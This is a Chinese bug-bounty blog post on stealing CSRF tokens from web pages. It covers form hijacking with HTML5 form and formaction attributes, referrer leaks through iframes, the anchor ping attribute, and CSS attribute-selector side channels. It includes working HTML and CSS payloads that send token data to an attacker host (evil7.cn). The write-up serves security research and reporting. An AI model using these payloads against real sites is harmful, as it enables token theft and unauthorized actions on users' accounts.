魔法才能打败魔法:关于获取csrf-token前端技巧思考
2020-01-14 10:53:16 Author: xz.aliyun.com(查看原文) 阅读量:341 收藏

前言

如果说一个产品RCE漏洞相对描述是“一语中的”、“一发入魂”的杀气,想必各大厂商在对杀气感知和处理上总是最快最灵敏的,从各大专有SRC对报告的反映速度、修复速度、挖掘难易程度来说,也很好的佐证了这一点。log里保存着任何服务器接收到的数据原文随时溯源当场处理爱憎分明、系统环境在被攻击时的奇怪变化一看便知,一个好的RCE确实是无敌的,至少在被受攻击者审计出来前,高效便捷准确有效。但它一旦被使用,变会在厂商眼皮下留下“挨打痕迹”。

另一对立面的“面向用户攻击”就没RCE那么方便了,比如一个简单的xss或者csrf的利用,虽然可以在不侵入和损坏框架主体的情况下触发,但需要用户少许的参与,增加了攻击的难度和不确定性。but!!话说回来这种不确定性和非侵入性的攻击方式,也正是它的优势所在:在用户主动反馈或者直接以运营方为攻击目标以外,即使发动攻击也极难被察觉或发现痕迹。(这就跟出老千与截胡的区别一样,出千时需要破坏牌的动作或在牌桌上做手脚留下痕迹,而截胡只需要在正常流程前完成攻击即可)

教挖洞、教blablabla那些真没用,挖bounty真的很靠个人对业务理解和最终实现手法的,所以请注意,本文主要解释遇到利用链瓶颈时,如何合理结合新特性、框架特征、原有逻辑等帮助你提升和完成整个利用,而不会对你怎么快速挖到xss怎么速挖SRC项目有任何帮助,总而言之很明确说就是对新手不友好,很多前期知识得自己去搜。对,我就是懒得写咋的吧。

常规csrf-token位置与获取方法

  1. cookie中
  2. form表单
  3. URL参数

首当其冲当然是cookie中的token,看似无解但实际有xss的环境便可,目前并没看到把token做http-only的。如果从cookie中提取再动态构造表单那没法获取了,单是验证cookie内容的话,怎么可能嘛csrf-token毕竟就是防csrf发生的。如果拥有xss肯定容易拿到cookie里的token,当然在其他能发出流量并得到返回值的情况中通过fetch重新获取一个也可以,普通原理这里不做过多说明了。

form表单中的token

如果碰到token处于input中请莫慌,使用xss自然是很容易拿到标签中的value属性,但是如果一个页面能够注入DOM但无法找到有效的dom-xss-payload时,你就需要一个骚气的泄露token姿势了。

我们来看一个例子:

<form id="user-edit" method="POST" action="/user/edit">
  <input name="token" type="hidden" value="csrf-xxxx1234">
  <input name="notes" type="text" value="">
  <input name="secert" type="radio">secert
  <input name="public" type="radio">public
  <input type="submit" value="save">
</form>

<div>user's note blablabla...</div>

假设你在这个页面找到个DOM类型的self-xss,不过有这样的限制区别:

  • 如果用户提交secert类别的内容,那页面将保留所有原始DOM,但限制仅能自己查看和触发,其他人看不到这条note的内容。
  • 但如果你发布的public文本内容,文本则可以公开给所有人浏览,不过危险的event和用于危险的标签DOM全被waf过滤了。

这时候,如果直接提交个self-xss报告确实略显单薄,官方给个忽略也不过分嘛,毕竟无法造成实质性的对其他用户/指定用户造成攻击影响(叽己打叽己可木有用啊熊迪)。

那如何将self升级成任意可以触发的xss就是关键拿分点,哪怕也忽略至少你可以让审核都觉得这思路骚暴,武力值+10。

我们来看看html5特性里给表单带来的新玩意儿:

这个时候思路变逐渐明了,只要尝试劫持表单让用户主动创建一个secert类型的note,就能让self-xss变成thatUser-self-xss了,虽不是任意触发,但我用self-xss一次打一个用户,也算定向攻击嘛。

首先测试一下,构造一个public的payload且只需一行,完成劫持user-edit的表单:

<input type="submit" form="user-edit" value="hijack">

发布后发现,虽然是用户编辑出来的一个input标签,但在其他用户点击的情况下,成功触发了他所在页面的正常表单。要是这个表单是user-delete,那可真就是。。号没了警告.jpg。完成从其他按钮触发页面本来的表单后,我们使用其他form*属性来劫持修改表单值:

<input type="text" form="user-edit" name="notes" value="[xss-payload-here]">
  <input type="text" form="user-edit" name="secert" value="on">
  <input type="submit" form="user-edit" value="hijack">

可见,在用户点击后,我们成功把以上的可控表单内容注入到了本来页面中id为user-edit的表单里,完成劫持主动触发。而GET也好POST也罢,我们都知道只取最后一个同名的传入值,可以测试echo $_GET["a"]然后访问/?a=1&a=2&a=3,最终我们只能取到最后一个传入a=3,所以不用管表单里原来的内容,通过input属性劫持form我们就能成功直接覆盖原来的值。所以如果还在考虑类型默认是点击在public上这种情况?顺理成章我们加一个<input type="text" form="user-edit" name="public" value="off">public覆盖成off即可 :P

再其次,有没有其他触发方式?当然有鸭~我们可以改变action直接把所有input的value都带出到外部服务器。

  1. 我们可以先只尝试拿到token,在进行其他操作:
<input type="submit" form="user-edit" formaction="https://evil7.cn" formmethod="GET" value="hijack">
  1. 页面还存在iframe,且iframe的URL里同时拼接了token为query参数,我们也能这样通过iframe内部框架的跳转带来的referrer属性获取token:

比如:

<iframe name="title_frame" src="/index?token=xxxx1234"></iframe>
<form id="user-edit" method="POST" action="/user/edit">
  <input name="token" type="hidden" value="csrf-xxxx1234">
  <input name="notes" type="text" value="">
  <input name="secert" type="radio">secert
  <input name="public" type="radio">public
  <input type="submit" value="save">
</form>
<input type="submit" formtarget="title_frame" formaction="https://evil7.cn" formmethod="GET" value="hijack">

虽然a标签的行为可能被代理跳转或安全处理了no-referrer属性,但通过找到一个没有sandbox和其他安全限制的iframe来劫持为form的target,就成功绕过了URL带出token的referrer限制。

URL参数中的token

  1. 通过A标签获取
<a href="https://evil7.cn">get_token</a>

通过a标签跳转,我们能轻易从referrer中得到URL里拼接的token,但就目前看来稍有安全意识的开发,绝对会带上no-referrer属性,或者通过safe_jump_url的某些检查方式通过一个没有token的301页面或短链接转化,来脱敏并代为跳转。

那解决方案除了如上所述,通过input劫持我们能在iframe中跳转内部页面巧妙的拿到referrer中的URL,其实还有一个html5的新属性和特殊处理可以利用——ping属性!

好像没找到中文w3c属性介绍,可以看一下freebuf的文章https://www.freebuf.com/articles/network/74173.html

<a href="https://xz.aliyun.com/" ping="https://evil7.cn">ping_leak</a>

通过如上payload,我们能完成用户的行为跟踪。本来吧,这个ping属性就是用来统计点击或者跟踪行为的,但是实际你也可以用来盗取token。我们看看另外一个前端魔法:url-hash

hash在URL中起到的作用是锚点,它会在用户点击后滚动页面导航到所在的位置,而不是跳转刷新当前页面,因为hash锚点标签,其实只是用户浏览器的行为,并没有影响整个页面也没有新请求流量产生。

但是!ping属性又是怎么工作的呢?

ping属性在用户点击链接时,统计用户点击的内容发送到指定服务器,所以不管是否刷新跳转页面是否点击的是个锚点链接,只要有点击发生其实ping都是正常发出ping请求的,所以即使href中是个锚点不是链接,我们的server也能统计到用户点了什么(ping-from/ping-to)。同样,哪怕csp和waf做了一定的安全处理,让我们没法跨域情况实现获取到其他站点的ping-from: https://domain.com/token=csrfxxxx1234,我们也可以通过hash锚点,让链接指向实际为https://domain.com/token=csrfxxxx1234#hash的链接,hash不会破坏浏览器地址栏现有的链接,但我们完全可以在server上看到一条ping流量带出了ping-to属性,从而完成不破坏现有URL情况下,通过ping-to带出URL的内容

比如这样:

<a href="#ping-leak" ping="https://evil7.cn">ping_leak</a>

哪怕跨域情况ping-from丢失,我们也可通过带出有ping-to的访问请求得到token。所以即便进行了no-referrer处理,我们还是可以利用a标签的ping属性带出token的。

偏方:CSS选择器侧信道方式获取

如果有<input name="token" value="csrf-xxxx1234">这样的一个DOM,我们无法注入其他上述方式的DOM,或者干脆控制不了DOM,唯独例外却有一个style自定义功能,或者说CSS可控?那我们能做什么呢?

<style>
input[name="token"][value^="c"] {
  background: url("https://evil7.cn/css-leak?token_1=c")
}
</style>

<input name="token" value="csrf-xxxx1234">

如上我们可以用xss选择器,选中name为token的并且value第一个字符为"c"的input元素,并将其background属性设置为一个外带流量,这样就能泄露出token的首个字符。

一个个字符泄露,每一个都得多一次payload的修改,实施比较麻烦,但这样的选择器还有很多,还有很多可以利用的。我们来一起康康:

通过文档了解,我们可以通过^=选择开头也可以通过$=选择结尾,但css中一个同类属性会被同样的属性覆盖,那么我们有没有办法加快css选择器的侧信道露点速度呢?

类似:root的伪类可以极大程度帮到我们,我们没法一次给input[name="token"][value^="c"]input[name="token"][value$="4"]同时绑定两个不同的background属性,这是显而易见的(最新值覆盖原因),但是我们可以试着添加:root伪类属性,在符合条件情况下,给他的根元素设置background。这下,前后开工,效率成功提高一倍岂不美哉!?

如果以上测试均成立了,并且发现目标可以添加<link>标签(或者有办法主动刷新页面)那就更方便了,免去多次发送payload每个字符单独爆破,直接自动刷新依次leak即可得出出整个token。

点到为止顺便发散一下思维

要是某天css里支持完全的直接正则呢?呵呵呵,那可不得了!你是不是说像这样

(实际上真就有这么骚,只是还得等。关键词 css4 @document regexp() 链接 https://developer.mozilla.org/zh-CN/docs/Web/CSS/@document

当css4发布的那天,开发运维将会想起被css选择器中正则魔法支配的恐惧:

demo:

# 泄露出token第1个字符
@document regexp("/token=a.*/") {
  div:nth-child(1) { background: url("https://evil7.cn/?token_1=a")}
}
@document regexp("/token=b.*/") {
  div:nth-child(1) { background: url("https://evil7.cn/?token_1=b")}
}
......
@document regexp("/token=z.*/") {
  div:nth-child(1) { background: url("https://evil7.cn/?token_1=z")}
}
......
# 泄露出token第2个字符
@document regexp("/token=.{2}a.*/") {
  div:nth-child(1) { background: url("https://evil7.cn/?token_2=a")}
}
@document regexp("/token=.{2}b.*/") {
  div:nth-child(1) { background: url("https://evil7.cn/?token_2=b")}
}
......
@document regexp("/token=.{2}z.*/") {
  div:nth-child(1) { background: url("https://evil7.cn/?token_2=z")}
}
......
# 泄露出token第3个字符
@document regexp("/token=.{3}a.*/") {
  div:nth-child(3) { background: url("https://evil7.cn/?token_3=a")}
}
......

于是乎,等css4来临之时,我们将可以直接通过css选择器中复杂正则操作,快速依次泄露整个token或者URL中其他关键信息 :P

以上总结分享全来自实战报告,仅供巩固复习或拓展思路,具体细节相关队员知者自知,只求师傅们互相交流,其他方向薄弱环节顺道带带我,反正就hin棒棒了嘛~

后记

前端攻击的分类和评分一直为各位白帽子所诟病,selfxss就忽略?csrf就低危?不不不,单从漏洞评级上看确实如此,但从真实攻击的实施目的上看,他们能达到的效果其实是一样的,所以大家也要给SRC一些时间,等待评级细化区分成本评级、效果评级的多维度综合评级标准。目前看来,BAT的专属SRC已经进入按影响评级的思想高度,在任何手段下只要造成用户敏感信息泄露那就是敏感信息泄露、任何手段造成损坏用户权益的恶意操作都能有效评高分。

所以各位白帽子也要结合项目内容、所出现漏洞的性质和实际影响来决定自评。好的报告 = 一个可靠的手法 + 一个清晰的攻击思路 + 一个模拟攻击场景 + 一份足量的危害证明

拿分和申诉翻盘的根本告诉你了,以后看到小问题小bug先记下来,说不定哪天就来个《UI大小不一到0dayRCE内网漫游》。

不管有没有进展,不管局势多么挠头,答应我,1v9也要坚持打下去!


文章来源: http://xz.aliyun.com/t/7084
如有侵权请联系:admin#unsafe.sh